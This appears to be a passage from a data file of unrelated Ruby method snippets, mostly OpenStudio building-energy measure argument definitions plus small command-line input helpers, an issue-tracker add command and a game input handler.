"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n #make an argument for entering furnace installed afue\n userdefined_eff = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"userdefinedeff\",true)\n userdefined_eff.setDisplayName(\"Efficiency\")\n\tuserdefined_eff.setUnits(\"Btu/Btu\")\n\tuserdefined_eff.setDescription(\"The efficiency of the electric baseboard.\")\n userdefined_eff.setDefaultValue(1.0)\n args << userdefined_eff\n\n #make a choice argument for furnace heating output capacity\n cap_display_names = OpenStudio::StringVector.new\n cap_display_names << Constants.SizingAuto\n (5..150).step(5) do |kbtu|\n cap_display_names << \"#{kbtu} kBtu/hr\"\n end\n\n #make a string argument for furnace heating output capacity\n selected_baseboardcap = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"selectedbaseboardcap\", cap_display_names, true)\n selected_baseboardcap.setDisplayName(\"Heating Output Capacity\")\n selected_baseboardcap.setDefaultValue(Constants.SizingAuto)\n args << selected_baseboardcap\n\t\n return args\n end",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\n #make an argument for entering baseboard efficiency\n baseboardeff = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"efficiency\",true)\n baseboardeff.setDisplayName(\"Efficiency\")\n baseboardeff.setUnits(\"Btu/Btu\")\n baseboardeff.setDescription(\"The efficiency of the electric baseboard.\")\n baseboardeff.setDefaultValue(1.0)\n args << baseboardeff\n\n #make a string argument for baseboard heating output capacity\n baseboardcap = OpenStudio::Measure::OSArgument::makeStringArgument(\"capacity\", true)\n baseboardcap.setDisplayName(\"Heating Capacity\")\n baseboardcap.setDescription(\"The output heating capacity of the electric baseboard. If using '#{Constants.SizingAuto}', the autosizing algorithm will use ACCA Manual S to set the capacity.\")\n baseboardcap.setUnits(\"kBtu/hr\")\n baseboardcap.setDefaultValue(Constants.SizingAuto)\n args << baseboardcap\n\t\n return args\n end",
"def user_input_command_line_menu\n\tcommand_line_input = gets.strip.to_i\n\tcommand_line_input_logic(command_line_input)\nend",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def check_inputs_g(args)\n raise TypeError, Ajaila::Messager.warning(\"Nothing to generate...\") if args == []\n raise TypeError, Ajaila::Messager.warning(\"Only miners, selectors, presenters supported\\n(ex. miner SomeMiner, selector SomeSelector,\\n presenter SomePresenter, table SomeTable)\") if KNOWN_INSTANCES.include?(args[0]) == false\n raise TypeError, Ajaila::Messager.warning(\"Your #{args[0]} needs a name!\") if args[1] == nil\n raise TypeError, Ajaila::Messager.warning(\"Wrong format of the #{args[0]} name (use only A-Z and a-z symbols)\") if args[1][/^[A-Z]+$/i] == nil\n return 0\n end",
"def arguments\n parser.arguments\n end",
"def valid_args(type)\n case type\n when 'search' then %i[q format addressdetails extratags namedetails viewbox bounded exclude_place_ids limit accept-language email]\n when 'reverse' then %i[format lat lon zoom addressdetails extratags namedetails accept-language email]\n else []\n end\n end",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n id = OpenStudio::Measure::OSArgument.makeStringArgument('feature_id', false)\n id.setDisplayName('Feature unique identifier')\n id.setDefaultValue('1')\n args << id\n\n name = OpenStudio::Measure::OSArgument.makeStringArgument('feature_name', false)\n name.setDisplayName('Feature scenario specific name')\n name.setDefaultValue('name')\n args << name\n\n feature_type = OpenStudio::Measure::OSArgument.makeStringArgument('feature_type', false)\n feature_type.setDisplayName('URBANopt Feature Type')\n feature_type.setDefaultValue('Building')\n args << feature_type\n\n feature_location = OpenStudio::Measure::OSArgument.makeStringArgument('feature_location', false)\n feature_location.setDisplayName('URBANopt Feature Location')\n feature_location.setDefaultValue('0')\n args << feature_location\n\n # make an argument for the frequency\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << 'Detailed'\n reporting_frequency_chs << 'Timestep'\n reporting_frequency_chs << 'Hourly'\n reporting_frequency_chs << 'Daily'\n # reporting_frequency_chs << 'Zone Timestep'\n reporting_frequency_chs << 'BillingPeriod' # match it to utility bill object\n ## Utility report here to report the start and end for each fueltype\n reporting_frequency_chs << 'Monthly'\n reporting_frequency_chs << 'Runperiod'\n\n reporting_frequency = OpenStudio::Measure::OSArgument.makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName('Reporting Frequency')\n reporting_frequency.setDescription('The frequency at which to report timeseries output data.')\n reporting_frequency.setDefaultValue('Timestep')\n args << reporting_frequency\n\n return args\n end",
"def madlib_inputs\n print \"Enter a noun: \" \n noun = gets.chomp\n print \"Enter a verb: \" \n verb = gets.chomp\n print \"Enter an adjective: \" \n adjective = gets.chomp\n print \"Enter an adverb: \" \n adverb = gets.chomp\n madlib_line(noun, verb, adjective, adverb)\nend",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n #make a start date argument\n start_date = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"start_date\",true)\n start_date.setDisplayName(\"Start date\")\n args << start_date\n \n #make an end date argument\n end_date = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"end_date\",true)\n end_date.setDisplayName(\"End date\")\n args << end_date\n \n return args\n end",
"def check_arguments\n convert_boolean_strings\n check_output\n check_log_level\n check_input_entry\n check_input_types\n end",
"def process_arguments\n # clean unsupport symbols, e.g. JieFang;\n # or error argument due to option typo, e.g. '-list' will put 'ist' into the array in this src.\n @support_newspapers = Array.new #TODO: move to elsewhere\n @support_newspapers << :XM\n @support_newspapers << :WHB\n @support_newspapers << :YZ\n # ATTENTION: command line input is an array of string, to be consistent, internally I use only symbol when using this symbol\n @options.newspapers = @options.newspapers.collect { | item | item.to_sym } & @support_newspapers\n \n if @options.newspapers.size == 0\n @support_newspapers.each do | sym |\n @options.newspapers << sym\n end\n end\n end",
"def args\n raw_args\n end",
"def argv; end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n #make an argument for your name\n code_choices = OpenStudio::StringVector.new \n code_choices << \"ASHRAE 90.1-2007\" \n code_choices << \"ASHRAE 90.1-2010\" \n energy_code = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('energy_code', code_choices, true)\n energy_code.setDisplayName(\"Code baseline\")\n energy_code.setDefaultValue(\"ASHRAE 90.1-2010\")\n args << energy_code\n \n #make an argument to add new space true/false\n leed_check = OpenStudio::Ruleset::OSArgument::makeBoolArgument(\"leed_check\",true)\n leed_check.setDisplayName(\"Perform typical LEED checks?\")\n leed_check.setDefaultValue(true)\n args << leed_check\n \n return args\n end",
"def arguments(model)\n #list of arguments as they will appear in the interface. They are available in the run command as\n @argument_array_of_arrays = [\n [ \"variable_name\", \"type\", \"required\", \"model_dependant\", \"display_name\", \"default_value\", \"min_value\", \"max_value\", \"string_choice_array\", \t\"os_object_type\"\t],\n [ \"weather_file_name\", \"STRING\", true, false, \"Weather File Name\", nil, nil, nil, nil, \t nil\t\t\t\t\t],\n #Default set for server weather folder.\n [ \"weather_directory\", \"STRING\", true, false, \"Weather Directory\", \"../../weather\", nil, nil, nil,\t nil\t\t\t\t\t]\n \n ]\n #set up arguments. \n args = OpenStudio::Ruleset::OSArgumentVector.new\n self.argument_setter(args)\n return args\n end",
"def inflamed _args\n \"inflamed _args;\" \n end",
"def more_options\n puts Rainbow(\"Specify your additional options for your search: 'release date', 'search history', or go back\").yellow.underline\n input = gets.chomp.downcase\n \n if input == \"release date\"\n option_release_date\n \n elsif input == \"search history\"\n game_history\n\n elsif input == \"go back\"\n continue_or_exit\n \n else \n puts \"Input not recognized please try again\"\n more_options\n end\n end",
"def cmd(options={})\n arguments\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # this measure will require arguments, but at this time, they are not known\n geometry_profile = OpenStudio::Ruleset::OSArgument::makeStringArgument('geometry_profile', true)\n geometry_profile.setDefaultValue(\"{}\")\n os_model = OpenStudio::Ruleset::OSArgument::makeStringArgument('os_model', true)\n os_model.setDefaultValue('multi-model mode')\n user_id = OpenStudio::Ruleset::OSArgument::makeStringArgument('user_id', true)\n user_id.setDefaultValue(\"00000000-0000-0000-0000-000000000000\")\n job_id = OpenStudio::Ruleset::OSArgument::makeStringArgument('job_id', true)\n #job_id.setDefaultValue(SecureRandom.uuid.to_s)\n ashrae_climate_zone = OpenStudio::Ruleset::OSArgument::makeStringArgument('ashrae_climate_zone', false)\n ashrae_climate_zone.setDefaultValue(\"-1\")\n building_type = OpenStudio::Ruleset::OSArgument::makeStringArgument('building_type', false)\n building_type.setDefaultValue(\"BadDefaultType\")\n\n args << geometry_profile\n args << os_model\n args << user_id\n args << job_id\n args << ashrae_climate_zone\n args << building_type\n\n return args\n end",
"def user_input\n\tgets\nend",
"def input\n @input ||= args.dig(:input)\n end",
"def parse_args\n require 'optimist'\n opts = Optimist.options do\n opt :source, \"Inventory Source UID\", :type => :string, :required => ENV[\"SOURCE_UID\"].nil?, :default => ENV[\"SOURCE_UID\"]\n opt :ingress_api, \"Hostname of the ingress-api route\", :type => :string, :default => ENV[\"INGRESS_API\"] || \"http://localhost:9292\"\n opt :config, \"Configuration file name\", :type => :string, :default => ENV[\"CONFIG\"] || \"default\"\n opt :data, \"Amount & custom values of generated items\", :type => :string, :default => ENV[\"DATA\"] || \"default\"\n end\n\n opts\nend",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # lat arg\n lat = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"lat\", true)\n lat.setDisplayName(\"Latitude\")\n lat.setDefaultValue(39.7392000000)\n args << lat\n\n # long arg\n lon = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"lon\", true)\n lon.setDisplayName(\"Longitude\")\n lon.setDefaultValue(-104.9903000000)\n args << lon\n\n return args\n end",
"def add args\n db = get_db\n if args.empty?\n print \"Enter a short summary: \"\n STDOUT.flush\n text = gets.chomp\n if text.empty?\n exit ERRCODE\n end\n else\n # if you add last arg as P1..P5, I'll update priority automatically\n if args.last =~ /P[1-5]/\n $default_priority = args.pop\n end\n text = args.join \" \"\n end\n # convert actual newline to C-a. slash n's are escapes so echo -e does not muck up.\n #atitle=$( echo \"$atitle\" | tr -cd '\\40-\\176' )\n text.tr! \"\\n\", '\u0001'\n title = text\n desc = nil\n if $prompt_desc\n # choice of vim or this XXX also how to store in case of error or abandon\n # and allow user to edit, so no retyping. This could be for mult fields\n message \"Enter a detailed description (. to exit): \"\n desc = Cmdapp.get_lines\n #message \"You entered #{desc}\"\n end\n type = $default_type || \"bug\"\n severity = $default_severity || \"normal\"\n status = $default_status || \"open\"\n priority = $default_priority || \"P3\"\n if $prompt_type\n type = Cmdapp._choice(\"Select type:\", %w[bug enhancement feature task] )\n #message \"You selected #{type}\"\n end\n if $prompt_priority\n #priority = Cmdapp._choice(\"Select priority:\", %w[normal critical moderate] )\n priority = ask_priority\n #message \"You selected #{severity}\"\n end\n if $prompt_severity\n severity = Cmdapp._choice(\"Select severity:\", %w[normal critical moderate] )\n #message \"You selected #{severity}\"\n end\n if $prompt_status\n status = Cmdapp._choice(\"Select status:\", %w[open started closed stopped canceled] )\n #message \"You selected #{status}\"\n end\n assigned_to = $default_assigned_to\n if $prompt_assigned_to\n message \"Assign to:\"\n #assigned_to = $stdin.gets.chomp\n assigned_to = Cmdapp._gets \"assigned_to\", \"assigned_to\", $default_assigned_to\n #message \"You selected #{assigned_to}\"\n end\n project = component = version = nil\n # project\n if $use_project\n project = Cmdapp.user_input('project', $prompt_project, nil, $valid_project, $default_project)\n end\n if $use_component\n component = Cmdapp.user_input('component', $prompt_component, nil, $valid_component, $default_component)\n end\n if $use_version\n version = Cmdapp.user_input('version', $prompt_version, nil, $valid_version, $default_version)\n end\n\n start_date = @now\n due_date = default_due_date\n comment_count = 0\n priority ||= \"P3\" \n description = desc\n fix = nil #\"Some long text\" \n #date_created = @now\n #date_modified = @now\n body = {}\n body[\"title\"]=title\n body[\"description\"]=description\n body[\"type\"]=type\n body[\"status\"]=status\n body[\"start_date\"]=start_date.to_s\n body[\"due_date\"]=due_date.to_s\n body[\"priority\"]=priority\n body[\"severity\"]=severity\n body[\"assigned_to\"]=assigned_to\n body[\"created_by\"] = $default_user\n # only insert if its wanted by user\n body[\"project\"]=project if $use_project\n body[\"component\"]=component if $use_component\n body[\"version\"]=version if $use_version\n\n rowid = db.table_insert_hash(\"bugs\", body)\n puts \"Issue #{rowid} created\"\n logid = db.sql_logs_insert rowid, \"create\", \"#{rowid} #{type}: #{title}\"\n body[\"id\"] = rowid\n mail_issue nil, body\n \n 0\n end",
"def arguments(model)\n #list of arguments as they will appear in the interface. They are available in the run command as\n @argument_array_of_arrays = [\n [ \"variable_name\", \"type\", \"required\", \"model_dependant\", \"display_name\", \"default_value\", \"min_value\", \"max_value\", \"string_choice_array\", \"os_object_type\"\t ],\n [ \"alternativeModel\", \"STRING\", true, false, \"Alternative Model\", 'FullServiceRestaurant.osm', nil, nil, nil, \t nil\t\t\t\t\t],\n [ \"osm_directory\", \"STRING\", true, false, \"OSM Directory\", \"../../lib/btap/resources/models/smart_archetypes\", nil, nil, nil,\t nil\t\t\t\t\t] \n ]\n #set up arguments. \n args = OpenStudio::Ruleset::OSArgumentVector.new\n self.argument_setter(args)\n return args\n end",
"def arguments(model)\n #list of arguments as they will appear in the interface. They are available in the run command as\n @argument_array_of_arrays = [\n [ \"variable_name\", \"type\", \"required\", \"model_dependant\", \"display_name\", \"default_value\", \"min_value\", \"max_value\", \"string_choice_array\", \"os_object_type\"\t ],\n [ \"alternativeModel\", \"STRING\", true, false, \"Alternative Model\", 'FullServiceRestaurant.osm', nil, nil, nil, \t nil\t\t\t\t\t],\n [ \"osm_directory\", \"STRING\", true, false, \"OSM Directory\", \"../../lib/btap/resources/models/smart_archetypes\", nil, nil, nil,\t nil\t\t\t\t\t] \n ]\n #set up arguments. \n args = OpenStudio::Ruleset::OSArgumentVector.new\n self.argument_setter(args)\n return args\n end",
"def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n # the name of the sql file\r\n csv_name = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_name\", true)\r\n csv_name.setDisplayName(\"CSV file name\")\r\n csv_name.setDescription(\"CSV file name.\")\r\n csv_name.setDefaultValue(\"mtr.csv\")\r\n args << csv_name\r\n \r\n csv_time_header = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_time_header\", true)\r\n csv_time_header.setDisplayName(\"CSV Time Header\")\r\n csv_time_header.setDescription(\"CSV Time Header Value.\")\r\n csv_time_header.setDefaultValue(\"Date/Time\")\r\n args << csv_time_header\r\n \r\n csv_var = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_var\", true)\r\n csv_var.setDisplayName(\"CSV variable name\")\r\n csv_var.setDescription(\"CSV variable name\")\r\n csv_var.setDefaultValue(\"Whole Building:Facility Total Electric Demand Power [W](TimeStep)\")\r\n args << csv_var\r\n \r\n csv_var_dn = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_var_dn\", true)\r\n csv_var_dn.setDisplayName(\"CSV variable display name\")\r\n csv_var_dn.setDescription(\"CSV variable display name\")\r\n csv_var_dn.setDefaultValue(\"\")\r\n args << csv_var_dn\r\n \r\n years = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"year\", true)\r\n years.setDisplayName(\"Year in csv data\")\r\n years.setDescription(\"Year in csv data => mm:dd:yy or mm:dd\")\r\n years.setDefaultValue(true)\r\n args << years\r\n \r\n seconds = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"seconds\", true)\r\n seconds.setDisplayName(\"Seconds in csv data\")\r\n seconds.setDescription(\"Seconds in csv data => hh:mm:ss or hh:mm\")\r\n seconds.setDefaultValue(true)\r\n args << seconds\r\n \r\n sql_key = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"sql_key\", true)\r\n sql_key.setDisplayName(\"SQL key\")\r\n sql_key.setDescription(\"SQL key\")\r\n sql_key.setDefaultValue(\"Whole Building\")\r\n args << sql_key \r\n\r\n sql_var = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"sql_var\", true)\r\n sql_var.setDisplayName(\"SQL var\")\r\n sql_var.setDescription(\"SQL var\")\r\n sql_var.setDefaultValue(\"Facility Total Electric Demand Power\")\r\n args << sql_var \r\n \r\n norm = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"norm\", true)\r\n norm.setDisplayName(\"norm of the difference of csv and sql\")\r\n norm.setDescription(\"norm of the difference of csv and sql\")\r\n norm.setDefaultValue(1)\r\n args << norm \r\n\r\n find_avail = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"find_avail\", true)\r\n find_avail.setDisplayName(\"find_avail\")\r\n find_avail.setDescription(\"find_avail\")\r\n find_avail.setDefaultValue(true)\r\n args << find_avail \r\n\r\n compute_diff = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"compute_diff\", true)\r\n compute_diff.setDisplayName(\"compute_diff\")\r\n compute_diff.setDescription(\"compute_diff\")\r\n compute_diff.setDefaultValue(true)\r\n args << compute_diff\r\n \r\n verbose_messages = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"verbose_messages\", true)\r\n verbose_messages.setDisplayName(\"verbose_messages\")\r\n verbose_messages.setDescription(\"verbose_messages\")\r\n verbose_messages.setDefaultValue(true)\r\n args << verbose_messages \r\n\r\n return args\r\n end",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\t\t\n\n #Make a string argument for occupants (auto or number)\n num_occ = OpenStudio::Measure::OSArgument::makeStringArgument(\"num_occ\", false)\n num_occ.setDisplayName(\"Number of Occupants\")\n num_occ.setDescription(\"Specify the number of occupants. For a multifamily building, specify one value for all units or a comma-separated set of values (in the correct order) for each unit. A value of '#{Constants.Auto}' will calculate the average number of occupants from the number of bedrooms. Used to specify the internal gains from people only.\")\n num_occ.setDefaultValue(Constants.Auto)\n args << num_occ\n\n #Make a string argument for 24 weekday schedule values\n weekday_sch = OpenStudio::Measure::OSArgument::makeStringArgument(\"weekday_sch\", true)\n weekday_sch.setDisplayName(\"Weekday schedule\")\n weekday_sch.setDescription(\"Specify the 24-hour weekday schedule.\")\n weekday_sch.setDefaultValue(\"1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 0.88310, 0.40861, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.29498, 0.55310, 0.89693, 0.89693, 0.89693, 1.00000, 1.00000, 1.00000\")\n args << weekday_sch\n \n #Make a string argument for 24 weekend schedule values\n weekend_sch = OpenStudio::Measure::OSArgument::makeStringArgument(\"weekend_sch\", true)\n weekend_sch.setDisplayName(\"Weekend schedule\")\n weekend_sch.setDescription(\"Specify the 24-hour weekend schedule.\")\n weekend_sch.setDefaultValue(\"1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 1.00000, 0.88310, 0.40861, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.24189, 0.29498, 0.55310, 0.89693, 0.89693, 0.89693, 1.00000, 1.00000, 1.00000\")\n args << weekend_sch\n\n #Make a string argument for 12 monthly schedule values\n monthly_sch = OpenStudio::Measure::OSArgument::makeStringArgument(\"monthly_sch\", true)\n monthly_sch.setDisplayName(\"Month schedule\")\n monthly_sch.setDescription(\"Specify the 12-month schedule.\")\n monthly_sch.setDefaultValue(\"1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0\")\n args << monthly_sch\n\n return args\n end",
"def validate_arguments()\n usage unless ARGV.count > 0\nend",
"def input args\n if args.state.inputlist.length > 5\n args.state.inputlist.pop\n end\n\n should_process_special_move = (args.inputs.keyboard.key_down.j) ||\n (args.inputs.keyboard.key_down.k) ||\n (args.inputs.keyboard.key_down.a) ||\n (args.inputs.keyboard.key_down.d) ||\n (args.inputs.controller_one.key_down.y) ||\n (args.inputs.controller_one.key_down.x) ||\n (args.inputs.controller_one.key_down.left) ||\n (args.inputs.controller_one.key_down.right)\n\n if (should_process_special_move)\n if (args.inputs.keyboard.key_down.j && args.inputs.keyboard.key_down.k) ||\n (args.inputs.controller_one.key_down.x && args.inputs.controller_one.key_down.y)\n args.state.inputlist.unshift(\"shield\")\n elsif (args.inputs.keyboard.key_down.k || args.inputs.controller_one.key_down.y) &&\n (args.state.inputlist[0] == \"forward-attack\") && ((args.state.tick_count - args.state.lastpush) <= 15)\n args.state.inputlist.unshift(\"dash-attack\")\n args.state.player.dx = 20\n elsif (args.inputs.keyboard.key_down.j && args.inputs.keyboard.a) ||\n (args.inputs.controller_one.key_down.x && args.inputs.controller_one.key_down.left)\n args.state.inputlist.unshift(\"back-attack\")\n elsif ( args.inputs.controller_one.key_down.x || args.inputs.keyboard.key_down.j)\n args.state.inputlist.unshift(\"forward-attack\")\n elsif (args.inputs.keyboard.key_down.k || args.inputs.controller_one.key_down.y) &&\n (args.state.player.y > 128)\n args.state.inputlist.unshift(\"dair\")\n elsif (args.inputs.keyboard.key_down.k || args.inputs.controller_one.key_down.y)\n args.state.inputlist.unshift(\"up-attack\")\n elsif (args.inputs.controller_one.key_down.left || args.inputs.keyboard.key_down.a) &&\n (args.state.inputlist[0] == \"<\") &&\n ((args.state.tick_count - args.state.lastpush) <= 10)\n args.state.inputlist.unshift(\"<<\")\n args.state.player.dx = -15\n elsif (args.inputs.controller_one.key_down.left || args.inputs.keyboard.key_down.a)\n args.state.inputlist.unshift(\"<\")\n args.state.timeleft = args.state.tick_count\n elsif (args.inputs.controller_one.key_down.right || args.inputs.keyboard.key_down.d)\n args.state.inputlist.unshift(\">\")\n end\n\n args.state.lastpush = args.state.tick_count\n end\n\n if args.inputs.keyboard.space || args.inputs.controller_one.r2 # if the user presses the space bar\n args.state.player.jumped_at ||= args.state.tick_count # jumped_at is set to current frame\n\n # if the time that has passed since the jump is less than the player's jump duration and\n # the player is not falling\n if args.state.player.jumped_at.elapsed_time < args.state.player_jump_power_duration && !args.state.player.falling\n args.state.player.dy = args.state.player_jump_power # change in y is set to power of player's jump\n end\n end\n\n # if the space bar is in the \"up\" state (or not being pressed down)\n if args.inputs.keyboard.key_up.space || args.inputs.controller_one.key_up.r2\n args.state.player.jumped_at = nil # jumped_at is empty\n args.state.player.falling = true # the player is falling\n end\n\n if args.inputs.left # if left key is pressed\n if args.state.player.dx < -5\n args.state.player.dx = args.state.player.dx\n else\n args.state.player.dx = -5\n end\n\n elsif args.inputs.right # if right key is pressed\n if args.state.player.dx > 5\n args.state.player.dx = args.state.player.dx\n else\n args.state.player.dx = 5\n end\n else\n args.state.player.dx *= args.state.player_speed_slowdown_rate # dx is scaled down\n end\n\n if ((args.state.player.dx).abs > 5) #&& ((args.state.tick_count - args.state.lastpush) <= 10)\n args.state.player.dx *= 0.95\n end\nend",
"def arguments(model = nil)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n chs = OpenStudio::StringVector.new\n chs << 'Last OSM'\n chs << 'Last IDF'\n file_source = OpenStudio::Ruleset::OSArgument.makeChoiceArgument('file_source', chs, true)\n file_source.setDisplayName('Model Source')\n file_source.setDefaultValue('Last OSM')\n args << file_source\n\n chs = OpenStudio::StringVector.new\n chs << 'Timestep'\n chs << 'Hourly'\n reporting_frequency = OpenStudio::Ruleset::OSArgument.makeChoiceArgument('reporting_frequency', chs, true)\n reporting_frequency.setDisplayName('Reporting Frequency')\n reporting_frequency.setDefaultValue('Hourly')\n args << reporting_frequency\n\n variable1_name = OpenStudio::Ruleset::OSArgument.makeStringArgument('variable1_name', true)\n variable1_name.setDisplayName('Variable 1 Name')\n variable1_name.setDefaultValue('Surface Outside Face Temperature')\n args << variable1_name\n\n variable2_name = OpenStudio::Ruleset::OSArgument.makeStringArgument('variable2_name', true)\n variable2_name.setDisplayName('Variable 2 Name')\n variable2_name.setDefaultValue('Surface Inside Face Temperature')\n args << variable2_name\n\n variable3_name = OpenStudio::Ruleset::OSArgument.makeStringArgument('variable3_name', true)\n variable3_name.setDisplayName('Variable 3 Name')\n variable3_name.setDefaultValue('Zone Mean Radiant Temperature')\n args << variable3_name\n\n return args\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # Create a list of the names and handles of space types\n # used in the building.\n used_space_type_handles = OpenStudio::StringVector.new\n used_space_type_names = OpenStudio::StringVector.new\n model.getSpaceTypes.sort.each do |space_type|\n if space_type.spaces.size > 0 # only show space types used in the building\n used_space_type_handles << space_type.handle.to_s\n used_space_type_names << space_type.name.to_s\n end\n end\n\t\n # Make an argument for plenum space type\n ceiling_return_plenum_space_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"ceiling_return_plenum_space_type\", used_space_type_handles, used_space_type_names,false)\n ceiling_return_plenum_space_type.setDisplayName(\"This space type should be part of a ceiling return air plenum.\")\n args << ceiling_return_plenum_space_type\n\t\n # Make a bool argument to edit/not edit each space type\n\t\tmodel.getSpaceTypes.sort.each do |space_type|\n\t\t\tif space_type.spaces.size > 0 # only show space types used in the building\n\t\t\t\tspace_type_to_edit = OpenStudio::Ruleset::OSArgument::makeBoolArgument(space_type.name.get.to_s,false)\n\t\t\t\t# Make a bool argument for this space type\n\t\t\t\tspace_type_to_edit.setDisplayName(\"Add #{space_type.name.get} space type to GSHP system?\")\n\t\t\t\tspace_type_to_edit.setDefaultValue(false)\t\t\n\t\t\t\targs << space_type_to_edit\n\t\t\tend\n\t\tend\n\t \n\t\t# Heating COP of GSHP\n\t\tgshp_htg_cop = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"gshp_htg_cop\",false)\n\t\tgshp_htg_cop.setDisplayName(\"GSHP DX Heating Coil Heating COP\")\n\t\tgshp_htg_cop.setDefaultValue(4.0)\n\t\targs << gshp_htg_cop\n\t\t\n\t\t# Cooling EER of GSHP\n\t\tgshp_clg_eer = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"gshp_clg_eer\",false)\n\t\tgshp_clg_eer.setDisplayName(\"GSHP DX Cooling Coil Cooling EER\")\n\t\tgshp_clg_eer.setDefaultValue(14)\n\t\targs << gshp_clg_eer\n\t\t\n\t\t# GSHP Fan Type PSC or ECM\n\t\tfan_choices = OpenStudio::StringVector.new\n\t\tfan_choices << \"PSC\"\n\t\tfan_choices << \"ECM\"\n\t\tgshp_fan_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"gshp_fan_type\",fan_choices,true) # note ECM fan type may correspond to different set of heat pump performance curves\n\t\tgshp_fan_type.setDisplayName(\"GSHP Fan Type: PSC or ECM?\")\n\t\tgshp_fan_type.setDefaultValue(\"PSC\")\n args << gshp_fan_type\n\t\t\n\t\t# Condenser Loop Cooling Temperature\n\t\t# condLoopCoolingTemp = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"condLoopCoolingTemp\",false)\n\t\t# condLoopCoolingTemp.setDisplayName(\"Condenser Loop Cooling Temperature (F)\")\n\t\t# condLoopCoolingTemp.setDefaultValue(90)\n\t\t# args << condLoopCoolingTemp\n\t\t\n\t\t# Condenser Loop Heating Temperature\n\t\t# condLoopHeatingTemp = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"condLoopHeatingTemp\",false)\n\t\t# condLoopHeatingTemp.setDisplayName(\"Condenser Loop Heating Temperature (F)\")\n\t\t# condLoopHeatingTemp.setDefaultValue(60)\t\n\t\t# args << condLoopHeatingTemp\n\t\t\n\t\t# Vertical Bore HX\n\t\tbuilding_area = model.getBuilding.floorArea \n\t\tbuilding_cool_ton = building_area*10.7639/500\t\t# 500sf/ton estimated\n\t\tbore_hole_no = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"bore_hole_no\",false)\n\t\tbore_hole_no.setDisplayName(\"Number of Bore Holes\")\n\t\tbore_hole_no.setDefaultValue(building_cool_ton.to_i) \n\t\targs << bore_hole_no\n\n\t\t\n\t\tbore_hole_length = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"bore_hole_length\",false)\n\t\tbore_hole_length.setDisplayName(\"Bore Hole Length (ft)\")\n\t\tbore_hole_length.setDefaultValue(200)\n\t\targs << bore_hole_length\n\n\t\tbore_hole_radius = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"bore_hole_radius\",false)\n\t\tbore_hole_radius.setDisplayName(\"Bore Hole Radius (inch)\")\n\t\tbore_hole_radius.setDefaultValue(6.0)\n\t\targs << bore_hole_radius\n\t\t\n\t\tground_k_value = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"ground_k_value\",false)\n\t\tground_k_value.setDisplayName(\"Ground Conductivity (Btu/hr.F.R\")\n\t\tground_k_value.setDefaultValue(0.75)\n\t\targs << ground_k_value\n\t\t\n\t\tgrout_k_value = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"grout_k_value\",false)\n\t\tgrout_k_value.setDisplayName(\"Grout Conductivity (Btu/hr.F.R\")\n\t\tgrout_k_value.setDefaultValue(0.75)\n\t\targs << grout_k_value\n\t\t\n\t\tchs = OpenStudio::StringVector.new\n\t\tchs << \"Yes\"\n\t\tchs << \"No\"\n\t\tsupplemental_boiler = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"supplemental_boiler\",chs, true)\n\t\tsupplemental_boiler.setDisplayName(\"Supplemental Heating Boiler?\")\n\t\tsupplemental_boiler.setDefaultValue(\"No\")\n\t\targs << supplemental_boiler\n\t\t\n\t\t# Boiler Capacity\n\t\tboiler_cap = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"boiler_cap\",false)\n\t\tboiler_cap.setDisplayName(\"boiler normal capacity (MBtuh)\")\n\t\tboiler_cap.setDefaultValue(500.0)\n\t\targs << boiler_cap\n\t\t\t\t\n\t\t# Boiler 